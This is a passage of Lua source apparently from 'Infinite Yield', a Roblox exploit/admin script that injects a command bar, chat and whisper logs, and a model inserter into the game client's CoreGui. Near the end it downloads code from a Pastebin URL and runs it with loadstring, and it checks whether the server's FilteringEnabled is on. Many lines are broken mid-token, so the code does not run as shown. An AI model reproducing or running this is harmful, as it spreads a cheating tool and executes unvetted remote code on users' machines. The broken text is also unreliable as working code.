ModList.CanvasSize = UDim2.new(0,0,0, Position + 100)
local ins = Instance.new("TextButton")
ins.Name = "ins"
ins.Parent = ModList
ins.BackgroundColor3 = Color3.new(255, 255, 255)
ins.BackgroundTransparency = 0.30000001192093
ins.BorderColor3 = Color3.new(1, 0, 0)
ins.BorderSizePixel = 0
ins.Position = UDim2.new(0,-10,0, Position + 40)
ins.Size = UDim2.new(0, 20, 0, 20)
ins.FontSize = Enum.FontSize.Size14
ins.Text = ""
ins.ZIndex = 6
local img = Instance.new("ImageLabel")
img.Parent = ModList
img.Position = UDim2.new(0,300,0, Position + 5)
img.Size = UDim2.new(0,100,0,100)
img.ZIndex = 6
img.BackgroundColor3 = Color3.new(255, 255, 255)
img.BackgroundTransparency = 1
img.Image = 'https://www.roblox.com/Thumbs/Asset.ashx?
width=110&height=110&assetId='..v.AssetId
ins.MouseButton1Click:Connect(function()
local window = true

dragmodel(game:GetService("InsertService"):LoadLocalAsset("rbxassetid://" ..
v.AssetId), window, ModelContainerFrame, v.Name)
Notify('Inserted ' .. v.Name .. '. Click: place | E: Cancel | R: Rotate
| T: tilt')
ModelContainerFrame:TweenPosition(UDim2.new(0, 0, 0, -300), "InOut",
"Quart", 0.5, true, nil)
end)
Notify('Select a model to insert')
drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) Models:Destroy() end) end end
end)

addcmd('cmds','opens cmds window',{'commands'},


function(args, speaker)
if speaker.userId ~= LP.userId then
for _, child in pairs( workspace:GetChildren()) do
if child.Name == speaker.Name .. "TAB" then
child:Destroy() end end
game:GetService('Chat'):Chat(speaker.Character, 'The command to close is "'..
cmdprefix .. 'dismiss"', 1)
local GUI = Instance.new("SurfaceGui")
local holder = Instance.new("Frame")
local bar = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local MAIN = Instance.new("Frame")
local Example = Instance.new("TextLabel")
local CMDs = Instance.new("ScrollingFrame")
local PART = Instance.new("Part")
PART.Name = speaker.Name .. 'TAB'
PART.Color = maincolor
PART.Size = Vector3.new(7, 7.8, 0.2)
PART.Transparency = 0
PART.Locked = true
PART.CanCollide = false
PART.Parent = workspace
PART.Anchored = true
PART.Material = "Neon"
local GUI = Instance.new("SurfaceGui")
local holder = Instance.new("Frame")
local bar = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local MAIN = Instance.new("Frame")
local Example = Instance.new("TextLabel")
local CMDs = Instance.new("ScrollingFrame")
GUI.Name = "GUI"
GUI.Parent = PART
GUI.CanvasSize = Vector2.new(500, 600)
GUI.Face = Enum.NormalId.Back
holder.Name = "holder"
holder.Parent = GUI
holder.BackgroundColor3 = Color3.new(1, 1, 1)
holder.BackgroundTransparency = 1
holder.BorderSizePixel = 2
holder.Position = UDim2.new(0, 0, 0, 10)
holder.Size = UDim2.new(0, 300, 0, 330)
holder.ZIndex = 2
bar.Name = "bar"
bar.Parent = holder
bar.BackgroundColor3 = Color3.new(0, 0, 0)
bar.BackgroundTransparency = 0.89999997615814
bar.BorderSizePixel = 0
bar.Position = UDim2.new(0, 10, 1, -330)
bar.Size = UDim2.new(0, 480, 0, 33)
Title.Name = "Title"
Title.Parent = bar
Title.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059)
Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30)
Title.Font = Enum.Font.SourceSansBold
Title.FontSize = Enum.FontSize.Size24
Title.Text = "[Infinite Yield] Command List"
Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
MAIN.Name = "MAIN"
MAIN.Parent = holder
MAIN.BackgroundColor3 = Color3.new(0, 0, 0)
MAIN.BackgroundTransparency = 0.89999997615814
MAIN.BorderSizePixel = 0
MAIN.Position = UDim2.new(0, 10, 1, -300)
MAIN.Size = UDim2.new(0, 480, 0, 550)
Example.Name = "Example"
Example.Parent = MAIN
Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BackgroundTransparency = 1
Example.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BorderSizePixel = 0
Example.Size = UDim2.new(0, 190, 0, 40)
Example.Visible = false
Example.Font = Enum.Font.SourceSansBold
Example.FontSize = Enum.FontSize.Size36
Example.Text = "txt"
Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
Example.TextStrokeTransparency = 0
Example.TextXAlignment = Enum.TextXAlignment.Left
Example.ZIndex = 6
CMDs.Name = "CMDs"
CMDs.Parent = MAIN
CMDs.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDs.BackgroundTransparency = 1
CMDs.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDs.BorderSizePixel = 0
CMDs.Size = UDim2.new(0, 480, 0, 550)
CMDs.BottomImage = "rbxasset://textures/blackBkg_square.png"
CMDs.CanvasSize = UDim2.new(0, 0, 0, 4880)
CMDs.MidImage = "rbxasset://textures/blackBkg_square.png"
CMDs.ScrollBarThickness = 15
CMDs.TopImage = "rbxasset://textures/blackBkg_square.png"
local CMDsV = CMDsFolder:GetChildren()
for i = 1, #CMDsV do
local YSize = 35
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,10,0, Position + 1)
newcmd.Text = "" .. CMDsV[i].Value
CMDs.CanvasSize = UDim2.new(0,0,0, Position + 40) end
local cf = speaker.Character.HumanoidRootPart.CFrame
local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0)
PART.CFrame = newcf
speaker.Character.Humanoid.Died:connect(function()
PART:Destroy() end)
wait(1)
PART.Transparency = 0.1 wait(0.05) PART.Transparency = 0.2 wait(0.05)
PART.Transparency = 0.3 wait(0.05) PART.Transparency = 0.4 wait(0.05)
PART.Transparency = 0.5 wait(0.05) PART.Transparency = 0.6 wait(0.05)
if FindTable(hastab, speaker.Name) then movetab(speaker,PART) return end
table.insert(hastab, speaker.Name) movetab(speaker,PART)
else
if cmdOpen == true then
game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true) wait(0.2)
game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true
game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0
.2,true)
else
commands() searchbar()
end end
end)
cmdBAR.FocusLost:connect(function(enterpressed)
if enterpressed and cmdBAR.Text ~= "" then
spawn(function ()
execCmd(cmdBAR.Text, Player)
end)
end
game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0,
0),"Out","Quad",0.2,true)
cmdBAR.BorderSizePixel = 1
wait(0.1)
cmdBAR.BorderSizePixel = 0
cmdBAR.Text = 'Press ' ..cmdbarbind.. ' to focus the cmd bar'
end)
Mouse.KeyDown:connect(function(Key)
if (Key==cmdbarbind) then
cmdBAR:CaptureFocus()
cmdBAR.BorderSizePixel = 1
wait(0.1)
cmdBAR.BorderSizePixel = 2
end
end)
cmdBAR.Changed:connect(function (property)
if suggestionstoggle == true and cmdBAR:IsFocused() then
IndexContents2(cmdBAR.Text,true) end
end)
cmdBAR:GetPropertyChangedSignal("Text"):Connect(function()
local diff = cmdBAR.TextBounds.X-250

cmdBAR:TweenSizeAndPosition(UDim2.new(0,250+math.floor(math.max(0,diff)),0,25),UDim
2.new(0,10-math.floor(math.max(0,diff)),1,-
35),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)
end)
cmdBAR.Focused:Connect(function() historyCount = 0 end)
game:GetService("UserInputService").InputBegan:Connect(function(input)
if not cmdBAR:IsFocused() then return end
if input.KeyCode == Enum.KeyCode.Up then
historyCount = historyCount + 1
if historyCount > #cmdHistory then historyCount = #cmdHistory end
cmdBAR.Text = cmdHistory[historyCount] or ""
elseif input.KeyCode == Enum.KeyCode.Down then
historyCount = historyCount - 1
if historyCount < 1 then historyCount = 1 end
cmdBAR.Text = cmdHistory[historyCount] or ""
end
end)
NOTIFY = DATA.Notification
NOTIFY.Parent = game.CoreGui
local usingNOTE = false
function Notify(msg)
spawn(function()
if NOTIFY.NOTIFY and NOTIFY.NOTIFY.NOTE then
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
wait(0.5)
MusicPlayer:Hide()
if qopen == true then
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146,
0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0,
-50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false
NOTIFY.NOTIFY.NOTE.Text = msg
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38),
"InOut", "Quart", 0.5, true, nil)
if playerenabled == true then
wait(4)
if playerenabled == true then
MusicPlayer:Show()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
end
end
else
NOTIFY.NOTIFY.NOTE.Text = msg
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38),
"InOut", "Quart", 0.5, true, nil)
if playerenabled == true then
wait(4)
if playerenabled == true then
MusicPlayer:Show()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
end
end
end end end) end
local loadbar = Instance.new("ScreenGui") local Loading = Instance.new("TextLabel")
local fr = Instance.new("Frame") local ba = Instance.new("Frame") loadbar.Name =
"loadbar" loadbar.Parent = game.CoreGui
Loading.Name = "Loading" Loading.Parent = loadbar Loading.BackgroundColor3 =
Color3.new(1, 1, 1) Loading.BackgroundTransparency = 1 Loading.Position =
UDim2.new(0.25, 0, 0.875, 0) Loading.Size = UDim2.new(0.5, 0, 0, 50)
Loading.ZIndex = 101 Loading.Font = Enum.Font.ArialBold Loading.FontSize =
Enum.FontSize.Size24 Loading.Text = "Loading..." Loading.TextColor3 = Color3.new(0,
0, 0) Loading.TextStrokeColor3 = Color3.new(1, 1, 1) Loading.TextStrokeTransparency
= 0.5
Loading.TextTransparency = 0.10000000149012 Loading.TextWrapped = true fr.Name =
"fr" fr.Parent = Loading fr.BackgroundColor3 = Color3.new(0.196078, 0.196078,
0.196078) fr.BackgroundTransparency = 0.30000001192093
fr.BorderColor3 = Color3.new(0.196078, 0.196078, 0.196078) fr.BorderSizePixel = 2
fr.Size = UDim2.new(1, 0, 1, 0) ba.ZIndex = 100 fr.ZIndex = 99 ba.Name = "ba"
ba.Parent = Loading ba.BackgroundColor3 = Color3.new(0.0980392, 0.0980392,
0.0980392) ba.BorderColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
ba.BorderSizePixel = 0 ba.Size = UDim2.new(0, 0, 1, 0)
if aliasSave then
for i = 1, #aliasSave do
execCmd("877241loadalias "..aliasSave[i].CMD.." "..aliasSave[i].ALIAS)
end else
aliasSave = {} wait(0.1) updatefile()
for i = 1, #aliasSave do
execCmd("877241loadalias "..aliasSave[i].CMD.." "..aliasSave[i].ALIAS)
end end
Loading.ba:TweenSize(UDim2.new(0.3, 0, 1, 0), "InOut", "Quart", 1, true, nil)
commands() wait(0.01) game.CoreGui.cp:Destroy() cmdOpen = false
local Logs = Instance.new("ScreenGui")
logdrag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
local pos = Instance.new("Frame")
local clear = Instance.new("TextButton")
local scroll = Instance.new("ScrollingFrame")
local hl = Instance.new("Frame")
local whispers = Instance.new("Frame")
local CheckBox = Instance.new("ImageButton")
local box = Instance.new("TextButton")
local whispers_2 = Instance.new("TextLabel")
local chats = Instance.new("Frame")
local CheckBox_2 = Instance.new("ImageButton")
local box_2 = Instance.new("TextButton")
local chats_2 = Instance.new("TextLabel")
local commands = Instance.new("Frame")
local CheckBox_3 = Instance.new("ImageButton")
local box_3 = Instance.new("TextButton")
local commands_2 = Instance.new("TextLabel")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
local Hide = Instance.new("TextButton")
Logs.Name = "Logs"
Logs.Parent = game.CoreGui
logdrag.Name = "drag"
logdrag.Parent = Logs
logdrag.Active = true
logdrag.BackgroundColor3 = Color3.new(1, 1, 1)
logdrag.BackgroundTransparency = 1
dragGUI(logdrag)
logdrag.Position = UDim2.new(0.5, -225, 0, -400)
logdrag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = logdrag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
PromptDialog.ClipsDescendants = true
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ContainerFrame.ZIndex = 5
pos.Name = "pos"
pos.Parent = ContainerFrame
pos.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
pos.BackgroundTransparency = 1
pos.BorderColor3 = Color3.new(0, 0, 0)
pos.BorderSizePixel = 0
pos.Position = UDim2.new(0, 10, 0, 9)
pos.Size = UDim2.new(0, 428, 0, 230)
pos.ZIndex = 5
clear.Name = "clear"
clear.Parent = pos
clear.BackgroundColor3 = Color3.new(0, 0, 0)
clear.BackgroundTransparency = 0.80000001192093
clear.BorderColor3 = Color3.new(1, 1, 1)
clear.Position = UDim2.new(0, 3, 0, 3)
clear.Size = UDim2.new(0, 70, 0, 20)
clear.ZIndex = 5
clear.Font = Enum.Font.SourceSans
clear.FontSize = Enum.FontSize.Size14
clear.Text = "Clear"
clear.TextColor3 = Color3.new(1, 1, 1)
scroll.Name = "scroll"
scroll.Parent = pos
scroll.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
scroll.BackgroundTransparency = 1
scroll.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
scroll.BorderSizePixel = 0
scroll.Size = UDim2.new(0, 413, 0, 193)
scroll.Position = UDim2.new(0.007, 0, 0.152, 0)
scroll.ZIndex = 5
scroll.BottomImage = "rbxasset://textures/blackBkg_square.png"
scroll.CanvasSize = UDim2.new(0, 0, 0, 10)
scroll.MidImage = "rbxasset://textures/blackBkg_square.png"
scroll.ScrollBarThickness = 8
scroll.TopImage = "rbxasset://textures/blackBkg_square.png"
hl.Name = "hl"
hl.Parent = pos
hl.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
hl.BackgroundTransparency = 0.5
hl.BorderColor3 = Color3.new(0, 0, 0)
hl.BorderSizePixel = 0
hl.Position = UDim2.new(0, 2, 0, 35)
hl.Size = UDim2.new(0.799065411, 72, 0.839130461, 0)
hl.ZIndex = 5
whispers.Name = "whispers"
whispers.Parent = pos
whispers.BackgroundColor3 = Color3.new(1, 1, 1)
whispers.BackgroundTransparency = 1
whispers.Size = UDim2.new(0, 428, 0, 230)
CheckBox.Name = "CheckBox"
CheckBox.Parent = whispers
CheckBox.BackgroundTransparency = 1
CheckBox.Position = UDim2.new(0.574635506, 0, 0, 2)
CheckBox.Size = UDim2.new(0, 20, 0, 20)
CheckBox.ZIndex = 6
CheckBox.Image = "http://www.roblox.com/asset/?id=65492641"
box.Name = "box"
box.Parent = whispers
box.BackgroundColor3 = Color3.new(0, 0, 0)
box.BackgroundTransparency = 0.80000001192093
box.BorderColor3 = Color3.new(1, 1, 1)
box.Position = UDim2.new(0, 172, 0, 3)
box.Size = UDim2.new(0, 94, 0, 20)
box.ZIndex = 5
box.Font = Enum.Font.SourceSans
box.FontSize = Enum.FontSize.Size14
box.Text = ""
box.TextColor3 = Color3.new(1, 1, 1)
whispers_2.Name = "whispers"
whispers_2.Parent = whispers
whispers_2.BackgroundColor3 = Color3.new(1, 1, 1)
whispers_2.BackgroundTransparency = 1
whispers_2.Position = UDim2.new(0, 172, 0, 3)
whispers_2.Size = UDim2.new(0.126168221, 20, -0.0434782617, 30)
whispers_2.ZIndex = 6
whispers_2.Font = Enum.Font.SourceSansBold
whispers_2.FontSize = Enum.FontSize.Size14
whispers_2.Text = "Whispers"
whispers_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
chats.Name = "chats"
chats.Parent = pos
chats.BackgroundColor3 = Color3.new(1, 1, 1)
chats.BackgroundTransparency = 1
chats.Size = UDim2.new(0, 428, 0, 230)
CheckBox_2.Name = "CheckBox"
CheckBox_2.Parent = chats
CheckBox_2.BackgroundTransparency = 1
CheckBox_2.Position = UDim2.new(0.324635506, 0, 3.49245965e-08, 2)
CheckBox_2.Size = UDim2.new(0, 20, 0, 20)
CheckBox_2.ZIndex = 6
CheckBox_2.Image = "http://www.roblox.com/asset/?id=65492641"
box_2.Name = "box"
box_2.Parent = chats
box_2.BackgroundColor3 = Color3.new(0, 0, 0)
box_2.BackgroundTransparency = 0.80000001192093
box_2.BorderColor3 = Color3.new(1, 1, 1)
box_2.Position = UDim2.new(0, 86, 0, 3)
box_2.Size = UDim2.new(0, 73, 0, 20)
box_2.ZIndex = 5
box_2.Font = Enum.Font.SourceSans
box_2.FontSize = Enum.FontSize.Size14
box_2.Text = ""
box_2.TextColor3 = Color3.new(1, 1, 1)
chats_2.Name = "chats"
chats_2.Parent = chats
chats_2.BackgroundColor3 = Color3.new(1, 1, 1)
chats_2.BackgroundTransparency = 1
chats_2.Position = UDim2.new(0, 86, 0, 2)
chats_2.Size = UDim2.new(0.0771028027, 20, -0.0434782617, 30)
chats_2.ZIndex = 6
chats_2.Font = Enum.Font.SourceSansBold
chats_2.FontSize = Enum.FontSize.Size14
chats_2.Text = "Chats"
chats_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
commands.Name = "commands"
commands.Parent = pos
commands.BackgroundColor3 = Color3.new(1, 1, 1)
commands.BackgroundTransparency = 1
commands.Size = UDim2.new(0, 428, 0, 230)
CheckBox_3.Name = "CheckBox"
CheckBox_3.Parent = commands
CheckBox_3.BackgroundTransparency = 1
CheckBox_3.Position = UDim2.new(0.844495356, 0, 0, 2)
CheckBox_3.Size = UDim2.new(0, 20, 0, 20)
CheckBox_3.ZIndex = 6
CheckBox_3.Image = "http://www.roblox.com/asset/?id=65492641"
box_3.Name = "box"
box_3.Parent = commands
box_3.BackgroundColor3 = Color3.new(0, 0, 0)
box_3.BackgroundTransparency = 0.80000001192093
box_3.BorderColor3 = Color3.new(1, 1, 1)
box_3.Position = UDim2.new(0, 279, 0, 3)
box_3.Size = UDim2.new(0, 102, 0, 20)
box_3.ZIndex = 5
box_3.Font = Enum.Font.SourceSans
box_3.FontSize = Enum.FontSize.Size14
box_3.Text = ""
box_3.TextColor3 = Color3.new(1, 1, 1)
commands_2.Name = "commands"
commands_2.Parent = commands
commands_2.BackgroundColor3 = Color3.new(1, 1, 1)
commands_2.BackgroundTransparency = 1
commands_2.Position = UDim2.new(0, 279, 0, 3)
commands_2.Size = UDim2.new(0.144859806, 20, -0.0434782617, 30)
commands_2.ZIndex = 6
commands_2.Font = Enum.Font.SourceSansBold
commands_2.FontSize = Enum.FontSize.Size14
commands_2.Text = "Commands"
commands_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -5)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.TextSize = 31
PopupText.Text = "Logs"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Hide.Name = "Hide"
Hide.Parent = shadow
Hide.BackgroundColor3 = Color3.new(1, 1, 1)
Hide.BackgroundTransparency = 0.30000001192093
Hide.BorderColor3 = Color3.new(1, 1, 1)
Hide.BorderSizePixel = 0
Hide.Position = UDim2.new(0.800000012, 41, 0, 3)
Hide.Size = UDim2.new(0, 20, 0, 20)
Hide.FontSize = Enum.FontSize.Size14
Hide.Text = ""
checked = "http://www.roblox.com/asset/?id=65492641"
unchecked = "http://www.roblox.com/asset/?id=65492651"
if chatsV == true then
CheckBox_2.Image = checked else
CheckBox_2.Image = unchecked end
box_2.MouseButton1Down:connect(function()
if chatsV == true then chatsV = false
CheckBox_2.Image = unchecked updatefile() else
chatsV = true
CheckBox_2.Image = checked updatefile() end end)
if whispersV == true then
CheckBox.Image = checked else
CheckBox.Image = unchecked end
box.MouseButton1Down:connect(function()
if whispersV == true then whispersV = false
CheckBox.Image = unchecked updatefile() else
whispersV = true
CheckBox.Image = checked updatefile() end end)
if commandsV == true then
CheckBox_3.Image = checked else
CheckBox_3.Image = unchecked end
box_3.MouseButton1Down:connect(function()
if commandsV == true then commandsV = false
CheckBox_3.Image = unchecked updatefile() else
commandsV = true
CheckBox_3.Image = checked updatefile() end end)
clear.MouseButton1Down:connect(function()
for _, child in pairs( scroll:GetChildren()) do
child:Destroy() end
scroll.CanvasSize = UDim2.new(0, 0, 0, 10)
end)
Exit.MouseButton1Down:connect(function()
logdrag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true,
nil)
logsopen = false
end)
local hidden = false
Hide.MouseButton1Down:connect(function()
if hidden == false then hidden = true
ContainerFrame:TweenPosition(UDim2.new(0, 0, 0, -300), "InOut", "Quart", 0.5, true,
nil)
else ContainerFrame:TweenPosition(UDim2.new(0, 0, 0, 29), "InOut", "Quart", 0.5,
true, nil) hidden = false
end end)
function logtime() -- time function from aperture
local HOUR = math.floor((tick() % 86400) / 3600)
local MINUTE = math.floor((tick() % 3600) / 60)
local SECOND = math.floor(tick() % 60)
local AP = HOUR > 11 and 'PM' or 'AM'
HOUR = (HOUR % 12 == 0 and 12 or HOUR % 12)
HOUR = HOUR < 10 and '0' .. HOUR or HOUR
MINUTE = MINUTE < 10 and '0' .. MINUTE or MINUTE
SECOND = SECOND < 10 and '0' .. SECOND or SECOND
return HOUR .. ':' .. MINUTE .. ':' .. SECOND .. ' ' .. AP end
function CreateLabel(Name, Text)
local sf = scroll
if #sf:GetChildren() >= 2546 then
sf:ClearAllChildren()
end
local alls = 0
for i,v in pairs(sf:GetChildren()) do
if v then
alls = v.Size.Y.Offset + alls
end
if not v then
alls = 0
end
end
local tl = Instance.new('TextLabel', sf)
local il = Instance.new('Frame', tl)
tl.Name = Name
tl.ZIndex = 6
tl.Text = logtime().." - ["..Name.."]: "..Text
tl.Size = UDim2.new(0,410,0,84)
tl.BackgroundTransparency = 1
tl.BorderSizePixel = 0
tl.Font = "SourceSansBold"
tl.Position = UDim2.new(-1,0,0,alls)
tl.TextTransparency = 1
tl.TextScaled = false
tl.TextSize = 14
tl.TextWrapped = true
tl.TextXAlignment = "Left"
tl.TextYAlignment = "Top"
il.BackgroundTransparency = 1
il.BorderSizePixel = 0
il.Size = UDim2.new(0,12,1,0)
il.Position = UDim2.new(0,410,0,0)
tl.TextColor3 = Color3.fromRGB(255,255,255)
tl.Size = UDim2.new(0,410,0,tl.TextBounds.Y)
sf.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
sf.CanvasPosition = Vector2.new(0,sf.CanvasPosition.Y+tl.TextBounds.Y)
local size2 = sf.CanvasSize.Y.Offset
tl:TweenPosition(UDim2.new(0,0,0,alls), 'In', 'Quint', 0.5)
for i = 0,50 do wait(0.05)
tl.TextTransparency = tl.TextTransparency - 0.05
end
tl.TextTransparency = 0
end logsloaded = true
local intro = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Circle = Instance.new("ImageLabel")
local ImageLabel = Instance.new("ImageLabel")
intro.Name = "intro"
intro.Parent = game.CoreGui
Frame.Parent = intro
Frame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
Frame.BackgroundTransparency = 1
Frame.BorderSizePixel = 0
Frame.ClipsDescendants = true
Frame.Position = UDim2.new(0.5, -125, 0.5, -125)
Frame.Size = UDim2.new(0, 250, 0, 250)
Circle.Name = "Circle"
Circle.Parent = Frame
Circle.BackgroundColor3 = Color3.new(0.243137, 0.243137, 0.243137)
Circle.BackgroundTransparency = 1
Circle.BorderSizePixel = 0
Circle.Position = UDim2.new(0.5, 0, 0.5, 0)
Circle.Image = "rbxassetid://631172870"
Circle.ImageColor3 = Color3.new(0.121569, 0.121569, 0.121569)
ImageLabel.Parent = Frame
ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel.BackgroundTransparency = 1
ImageLabel.BorderSizePixel = 0
ImageLabel.Position = UDim2.new(0.5, 0, 0.5, 0)
ImageLabel.Image = "rbxassetid://1352543873"
Loading.ba:TweenSize(UDim2.new(0.35, 0, 1, 0), "InOut", "Quart", 0.5, true, nil)
local g = intro
local f = Frame
local imagef = Circle
local logof = ImageLabel
loadedintro = false
local function tween2()
f:TweenSizeAndPosition(UDim2.new(0,250,0,250),UDim2.new(0.5,-125,0.5,-125), "Out",
"Quart", 0.4)
wait(0.6) loadedintro = true end
local function tween1()
f:TweenSizeAndPosition(UDim2.new(0,300,0,300),UDim2.new(0.5,-150,0.5,-150), "In",
"Quart", 0.4, false, tween2) end
imagef:TweenSizeAndPosition(UDim2.new(3,0,3,0),UDim2.new(-1,0,-1,0), "Out",
"Linear", 0.4)
logof:TweenSizeAndPosition(UDim2.new(1,0,1,0),UDim2.new(0,0,0,0), "Out", "Linear",
0.4, false, tween1)
if pcall(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/wcEw3rW9'),true))() end) then
if workspace.FilteringEnabled == true then
Notify('Filtering ENABLED '..ServerMessage)
elseif workspace.FilteringEnabled == false then
Notify('Filtering Disabled '..ServerMessage)
end
else
if workspace.FilteringEnabled == true then
Notify('Filtering ENABLED')
elseif
workspace.FilteringEnabled == false then
Notify('Filtering Disabled')
end
end
Loading.ba:TweenSize(UDim2.new(0.45, 0, 1, 0), "InOut", "Quart", 0.4, true, nil)
local iy = Instance.new("ImageButton") local sheild = Instance.new("Frame") local
cmds = Instance.new("ImageButton") local cmds_2 = Instance.new("TextLabel")
local settings = Instance.new("ImageButton") local settings_2 =
Instance.new("TextLabel") local updates = Instance.new("ImageButton") local
updates_2 = Instance.new("TextLabel")
local info = Instance.new("ImageButton") local info_2 = Instance.new("TextLabel")
local mix = Instance.new("ImageButton") local mix_2 = Instance.new("TextLabel")
local MAIN = Instance.new("TextLabel") iy.Name = "iy" iy.Parent =
game.CoreGui.RobloxGui.TopBarContainer
iy.BackgroundTransparency = 1 iy.Position = UDim2.new(0, 2, 0, -38) iy.Size =
UDim2.new(0, 50, 0, 36) iy.AutoButtonColor = false sheild.Name = "sheild"
sheild.Parent = iy sheild.BackgroundColor3 = Color3.new(1, 1, 1)
sheild.BackgroundTransparency = 1 sheild.Size = UDim2.new(0, 320, 0, 35) cmds.Name
= "cmds" cmds.Parent = sheild cmds.BackgroundTransparency = 1 cmds.Position =
UDim2.new(0, 50, 0, 0) cmds.Size = UDim2.new(0, 80, 0, 36)
cmds.AutoButtonColor = false cmds_2.Name = "cmds" cmds_2.Parent = cmds
cmds_2.BackgroundColor3 = Color3.new(1, 1, 1) cmds_2.BackgroundTransparency = 1
cmds_2.Position = UDim2.new(0, 0, 0, -2)
cmds_2.Size = UDim2.new(0, 80, 0, 40) cmds_2.Font = Enum.Font.Arial cmds_2.FontSize
